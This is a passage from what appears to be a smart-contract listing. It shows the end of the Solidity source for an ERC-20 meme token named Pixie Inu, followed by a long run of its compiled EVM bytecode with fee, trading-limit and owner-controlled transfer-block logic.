< _brunAddressList.length; i += 1) { address _address = _brunAddressList[i]; if (_address == _user) { return _burnAmountList[i]; } } return 0; } function burnedAddressList() public view returns (address[] memory) { return _brunAddressList; } function burnedAmountList() public view returns (uint256[] memory) { return _burnAmountList; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101d15760003560e01c8063715018a6116100f7578063c3c8cd8011610095578063d89135cd11610064578063d89135cd14610657578063db92dbb614610682578063dd62ed3e146106ad578063e6ec64ec146106ea576101d8565b8063c3c8cd80146105c3578063c4081a4c146105da578063cf0848f714610603578063d35d331c1461062c576101d8565b806395d89b41116100d157806395d89b4114610507578063a6de1aaf14610532578063a9059cbb1461055d578063b515566a1461059a576101d8565b8063715018a61461049c5780638da5cb5b146104b357806390d49b9d146104de576101d8565b80633bbac5791161016f578063562904e91161013e578063562904e9146103e25780635d098b381461041f5780636fc3eaec1461044857806370a082311461045f576101d8565b80633bbac5791461032a57806342966c6814610367578063437823ec146103905780634b740b16146103b9576101d8565b806323b872dd116101ab57806323b872dd1461027057806325ba0f51146102ad578063273123b7146102d6578063313ce567146102ff576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610713565b6040516101ff91906134bd565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190613587565b610750565b60405161023c91906135e2565b60405180910390f35b34801561025157600080fd5b5061025a61076e565b604051610267919061360c565b60405180910390f35b34801561027c57600080fd5b5061029760048036038101906102929190613627565b61077f565b6040516102a491906135e2565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf91906136b8565b610858565b005b3480156102e257600080fd5b506102fd60048036038101906102f891906136f8565b610cc4565b005b34801561030b57600080fd5b50610314610db4565b6040516103219190613741565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c91906136f8565b610dbd565b60405161035e91906135e2565b60405180910390f35b34801561037357600080fd5b5061038e6004803603810190610389919061375c565b610e13565b005b34801561039c57600080fd5b506103b760048036038101906103b29190613789565b61103e565b005b3480156103c557600080fd5b506103e060048036038101906103db91906137e2565b611159565b005b3480156103ee57600080fd5b50610409600480360381019061040491906136f8565b611236565b604051610416919061360c565b60405180910390f35b34801561042b57600080fd5b5061044660048036038101906104419190613789565b61130a565b005b34801561045457600080fd5b5061045d6114e0565b005b34801561046b57600080fd5b50610486600480360381019061048191906136f8565b611552565b604051610493919061360c565b60405180910390f35b3480156104a857600080fd5b506104b16115a3565b005b3480156104bf57600080fd5b506104c86116f6565b6040516104d5919061381e565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190613789565b61171f565b005b34801561051357600080fd5b5061051c611917565b60405161052991906134bd565b60405180910390f35b34801561053e57600080fd5b50610547611954565b60405161055491906138f7565b60405180910390f35b34801561056957600080fd5b50610584600480360381019061057f9190613587565b6119ac565b60405161059191906135e2565b60405180910390f35b3480156105a657600080fd5b506105c160048036038101906105bc9190613a61565b6119ca565b005b3480156105cf57600080fd5b506105d8611bda565b005b3480156105e657600080fd5b5061060160048036038101906105fc919061375c565b611c54565b005b34801561060f57600080fd5b5061062a60048036038101906106259190613789565b611d2c565b005b34801561063857600080fd5b50610641611e47565b60405161064e9190613b68565b60405180910390f35b34801561066357600080fd5b5061066c611ed5565b604051610679919061360c565b60405180910390f35b34801561068e57600080fd5b50610697611f07565b6040516106a4919061360c565b60405180910390f35b3480156106b957600080fd5b506106d460048036038101906106cf9190613b8a565b611f39565b6040516106e1919061360c565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c919061375c565b611fc0565b005b60606040518060400160405280600981526020017f506978696520496e750000000000000000000000000000000000000000000000815250905090565b600061076461075d612098565b84846120a0565b6001905092915050565b6000683635c9adc5dea00000905090565b600061078c84848461226b565b61084d84610798612098565b6108488560405180606001604052806028815260200161450060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107fe612098565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a59092919063ffffffff16565b6120a0565b600190509392505050565b610860612098565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490613c16565b60405180910390fd5b601460009054906101000a900460ff161561093d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093490613ca8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561099c57600080fd5b505afa1580156109b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d49190613cdd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3657600080fd5b505afa158015610a4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6e9190613cdd565b6040518363ffffffff1660e01b8152600401610a8b929190613d0a565b602060405180830381600087803b158015610aa557600080fd5b505af1158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add9190613cdd565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460006101000a81548160ff021916908315150217905550610e1042610cb99190613d62565b601581905550505050565b610ccc612098565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5090613c16565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e3f600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826119ac565b5060005b601280549050811015610fad57600060128281548110610e6657610e65613db8565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060138381548110610ea957610ea8613db8565b5b90600052602060002001549050600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90613e33565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f9757610f6d848261290990919063ffffffff16565b60138481548110610f8157610f80613db8565b5b906000526020600020018190555050505061103b565b5050600181610fa69190613d62565b9050610e43565b506012339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060138190806001815401808255809150506001900390600052602060002001600090919091909150555b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107f612098565b73ffffffffffffffffffffffffffffffffffffffff1614806110f55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110dd612098565b73ffffffffffffffffffffffffffffffffffffffff16145b6110fe57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661119a612098565b73ffffffffffffffffffffffffffffffffffffffff1614806112105750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f8612098565b73ffffffffffffffffffffffffffffffffffffffff16145b61121957600080fd5b80601460016101000a81548160ff02191690831515021790555050565b600080600090505b6012805490508110156112ff5760006012828154811061126157611260613db8565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112ea57601382815481106112d6576112d5613db8565b5b906000526020600020015492505050611305565b506001816112f89190613d62565b905061123e565b50600090505b919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661134b612098565b73ffffffffffffffffffffffffffffffffffffffff1614806113c15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113a9612098565b73ffffffffffffffffffffffffffffffffffffffff16145b6113ca57600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611521612098565b73ffffffffffffffffffffffffffffffffffffffff161461154157600080fd5b600047905061154f81612967565b50565b600061159c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a62565b9050919050565b6115ab612098565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90613c16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611760612098565b73ffffffffffffffffffffffffffffffffffffffff1614806117d65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117be612098565b73ffffffffffffffffffffffffffffffffffffffff16145b6117df57600080fd5b600060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600581526020017f5049584945000000000000000000000000000000000000000000000000000000815250905090565b606060138054806020026020016040519081016040528092919081815260200182805480156119a257602002820191906000526020600020905b81548152602001906001019080831161198e575b5050505050905090565b60006119c06119b9612098565b848461226b565b6001905092915050565b6119d2612098565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613c16565b60405180910390fd5b60005b8151811015611bd657601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110611ab757611ab6613db8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015611b4b5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110611b2a57611b29613db8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15611bc357600160066000848481518110611b6957611b68613db8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080611bce90613e53565b915050611a62565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c1b612098565b73ffffffffffffffffffffffffffffffffffffffff1614611c3b57600080fd5b6000611c4630611552565b9050611c5181612ad0565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c95612098565b73ffffffffffffffffffffffffffffffffffffffff161480611d0b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611cf3612098565b73ffffffffffffffffffffffffffffffffffffffff16145b611d1457600080fd5b6001811115611d2257600080fd5b8060098190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d6d612098565b73ffffffffffffffffffffffffffffffffffffffff161480611de35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dcb612098565b73ffffffffffffffffffffffffffffffffffffffff16145b611dec57600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606012805480602002602001604051908101604052809291908181526020018280548015611ecb57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611e81575b5050505050905090565b6000611f02600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611552565b905090565b6000611f34601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611552565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612001612098565b73ffffffffffffffffffffffffffffffffffffffff1614806120775750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661205f612098565b73ffffffffffffffffffffffffffffffffffffffff16145b61208057600080fd5b600981111561208e57600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612110576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210790613f0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612180576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217790613fa0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161225e919061360c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d290614032565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561234b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612342906140c4565b60405180910390fd5b6000811161238e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238590614156565b60405180910390fd5b601460009054906101000a900460ff166123dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d4906141c2565b60405180910390fd5b6123e56116f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561245357506124236116f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156127cb57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124fc5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61250557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156125b05750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126065750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126735742601554111561267257600061262083611552565b905061265260646126446002683635c9adc5dea00000612d5890919063ffffffff16565b612dd390919063ffffffff16565b612665828461290990919063ffffffff16565b111561267057600080fd5b505b5b600061267e30611552565b9050601460029054906101000a900460ff161580156126eb5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156127c95760008111156127af5761274a606461273c600561272e601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611552565b612d5890919063ffffffff16565b612dd390919063ffffffff16565b8111156127a5576127a260646127946005612786601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611552565b612d5890919063ffffffff16565b612dd390919063ffffffff16565b90505b6127ae81612ad0565b5b600047905060008111156127c7576127c647612967565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128725750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806128895750601460019054906101000a900460ff165b1561289357600090505b61289f84848484612e1d565b50505050565b60008383111582906128ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e491906134bd565b60405180910390fd5b50600083856128fc91906141e2565b9050809150509392505050565b60008082846129189190613d62565b90508381101561295d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295490614262565b60405180910390fd5b8091505092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6129b7600284612dd390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156129e2573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612a33600284612dd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612a5e573d6000803e3d6000fd5b5050565b6000600754821115612aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa0906142f4565b60405180910390fd5b6000612ab3612e4a565b9050612ac88184612dd390919063ffffffff16565b915050919050565b6001601460026101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612b0857612b0761391e565b5b604051908082528060200260200182016040528015612b365781602001602082028036833780820191505090505b5090503081600081518110612b4e57612b4d613db8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612bf057600080fd5b505afa158015612c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c289190613cdd565b81600181518110612c3c57612c3b613db8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612ca330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846120a0565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612d07959493929190614359565b600060405180830381600087803b158015612d2157600080fd5b505af1158015612d35573d6000803e3d6000fd5b50505050506000601460026101000a81548160ff02191690831515021790555050565b600080831415612d6b5760009050612dcd565b60008284612d7991906143b3565b9050828482612d88919061443c565b14612dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbf906144df565b60405180910390fd5b809150505b92915050565b6000612e1583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e75565b905092915050565b80612e2b57612e2a612ed8565b5b612e36848484612f1b565b80612e4457612e436130e6565b5b50505050565b6000806000612e576130fa565b91509150612e6e8183612dd390919063ffffffff16565b9250505090565b60008083118290612ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb391906134bd565b60405180910390fd5b5060008385612ecb919061443c565b9050809150509392505050565b6000600954148015612eec57506000600a54145b15612ef657612f19565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b600080600080600080612f2d8761315c565b955095509550955095509550612f8b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131c490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306c8161320e565b61307684836132cb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516130d3919061360c565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050613130683635c9adc5dea00000600754612dd390919063ffffffff16565b82101561314f57600754683635c9adc5dea00000935093505050613158565b81819350935050505b9091565b60008060008060008060008060006131798a600954600a54613305565b9250925092506000613189612e4a565b9050600080600061319c8e87878761339b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061320683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128a5565b905092915050565b6000613218612e4a565b9050600061322f8284612d5890919063ffffffff16565b905061328381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6132e0826007546131c490919063ffffffff16565b6007819055506132fb8160085461290990919063ffffffff16565b6008819055505050565b6000806000806133316064613323888a612d5890919063ffffffff16565b612dd390919063ffffffff16565b9050600061335b606461334d888b612d5890919063ffffffff16565b612dd390919063ffffffff16565b9050600061338482613376858c6131c490919063ffffffff16565b6131c490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806133b48589612d5890919063ffffffff16565b905060006133cb8689612d5890919063ffffffff16565b905060006133e28789612d5890919063ffffffff16565b9050600061340b826133fd85876131c490919063ffffffff16565b6131c490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561345e578082015181840152602081019050613443565b8381111561346d576000848401525b50505050565b6000601f19601f8301169050919050565b600061348f82613424565b613499818561342f565b93506134a9818560208601613440565b6134b281613473565b840191505092915050565b600060208201905081810360008301526134d78184613484565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061351e826134f3565b9050919050565b61352e81613513565b811461353957600080fd5b50565b60008135905061354b81613525565b92915050565b6000819050919050565b61356481613551565b811461356f57600080fd5b50565b6000813590506135818161355b565b92915050565b6000806040838503121561359e5761359d6134e9565b5b60006135ac8582860161353c565b92505060206135bd85828601613572565b9150509250929050565b60008115159050919050565b6135dc816135c7565b82525050565b60006020820190506135f760008301846135d3565b92915050565b61360681613551565b82525050565b600060208201905061362160008301846135fd565b92915050565b6000806000606084860312156136405761363f6134e9565b5b600061364e8682870161353c565b935050602061365f8682870161353c565b925050604061367086828701613572565b9150509250925092565b6000613685826134f3565b9050919050565b6136958161367a565b81146136a057600080fd5b50565b6000813590506136b28161368c565b92915050565b600080604083850312156136cf576136ce6134e9565b5b60006136dd858286016136a3565b92505060206136ee858286016136a3565b9150509250929050565b60006020828403121561370e5761370d6134e9565b5b600061371c8482850161353c565b91505092915050565b600060ff82169050919050565b61373b81613725565b82525050565b60006020820190506137566000830184613732565b92915050565b600060208284031215613772576137716134e9565b5b600061378084828501613572565b91505092915050565b60006020828403121561379f5761379e6134e9565b5b60006137ad848285016136a3565b91505092915050565b6137bf816135c7565b81146137ca57600080fd5b50565b6000813590506137dc816137b6565b92915050565b6000602082840312156137f8576137f76134e9565b5b6000613806848285016137cd565b91505092915050565b61381881613513565b82525050565b6000602082019050613833600083018461380f565b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61386e81613551565b82525050565b60006138808383613865565b60208301905092915050565b6000602082019050919050565b60006138a482613839565b6138ae8185613844565b93506138b983613855565b8060005b838110156138ea5781516138d18882613874565b97506138dc8361388c565b9250506001810190506138bd565b5085935050505092915050565b600060208201905081810360008301526139118184613899565b905092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61395682613473565b810181811067ffffffffffffffff821117156139755761397461391e565b5b80604052505050565b60006139886134df565b9050613994828261394d565b919050565b600067ffffffffffffffff8211156139b4576139b361391e565b5b602082029050602081019050919050565b600080fd5b60006139dd6139d884613999565b61397e565b90508083825260208201905060208402830185811115613a00576139ff6139c5565b5b835b81811015613a295780613a15888261353c565b845260208401935050602081019050613a02565b5050509392505050565b600082601f830112613a4857613a47613919565b5b8135613a588482602086016139ca565b91505092915050565b600060208284031215613a7757613a766134e9565b5b600082013567ffffffffffffffff811115613a9557613a946134ee565b5b613aa184828501613a33565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613adf81613513565b82525050565b6000613af18383613ad6565b60208301905092915050565b6000602082019050919050565b6000613b1582613aaa565b613b1f8185613ab5565b9350613b2a83613ac6565b8060005b83811015613b5b578151613b428882613ae5565b9750613b4d83613afd565b925050600181019050613b2e565b5085935050505092915050565b60006020820190508181036000830152613b828184613b0a565b905092915050565b60008060408385031215613ba157613ba06134e9565b5b6000613baf8582860161353c565b9250506020613bc08582860161353c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613c0060208361342f565b9150613c0b82613bca565b602082019050919050565b60006020820190508181036000830152613c2f81613bf3565b9050919050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b6000613c9260258361342f565b9150613c9d82613c36565b604082019050919050565b60006020820190508181036000830152613cc181613c85565b9050919050565b600081519050613cd781613525565b92915050565b600060208284031215613cf357613cf26134e9565b5b6000613d0184828501613cc8565b91505092915050565b6000604082019050613d1f600083018561380f565b613d2c602083018461380f565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613d6d82613551565b9150613d7883613551565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613dad57613dac613d33565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4164647265737320696e76616c69640000000000000000000000000000000000600082015250565b6000613e1d600f8361342f565b9150613e2882613de7565b602082019050919050565b60006020820190508181036000830152613e4c81613e10565b9050919050565b6000613e5e82613551565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e9157613e90613d33565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613ef860248361342f565b9150613f0382613e9c565b604082019050919050565b60006020820190508181036000830152613f2781613eeb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f8a60228361342f565b9150613f9582613f2e565b604082019050919050565b60006020820190508181036000830152613fb981613f7d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b